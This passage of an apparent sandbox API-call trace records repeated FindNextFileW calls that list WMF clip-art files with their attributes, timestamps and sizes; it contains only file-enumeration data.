lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0071.428] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0071.429] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, 